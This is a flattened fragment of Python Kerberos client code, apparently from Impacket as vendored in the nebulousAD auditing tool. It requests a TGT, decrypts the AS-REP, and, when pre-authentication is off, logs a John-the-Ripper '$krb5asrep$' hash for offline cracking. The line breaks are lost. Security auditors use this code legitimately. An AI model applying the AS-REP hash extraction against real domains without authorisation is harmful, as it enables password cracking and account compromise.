from nebulousAD.modimpacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC) raise asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] # So, we have the TGT, now extract the new session key and finish cipherText = asRep['enc-part']['cipher'] if preAuth is False: # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'], clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]))) # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) try: plainText = cipher.decrypt(key, 3, str(cipherText)) except InvalidChecksum, e: # probably bad password if preauth is disabled if preAuth is False: error_msg = "failed to decrypt session key: %s" % str(e) raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) raise encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0]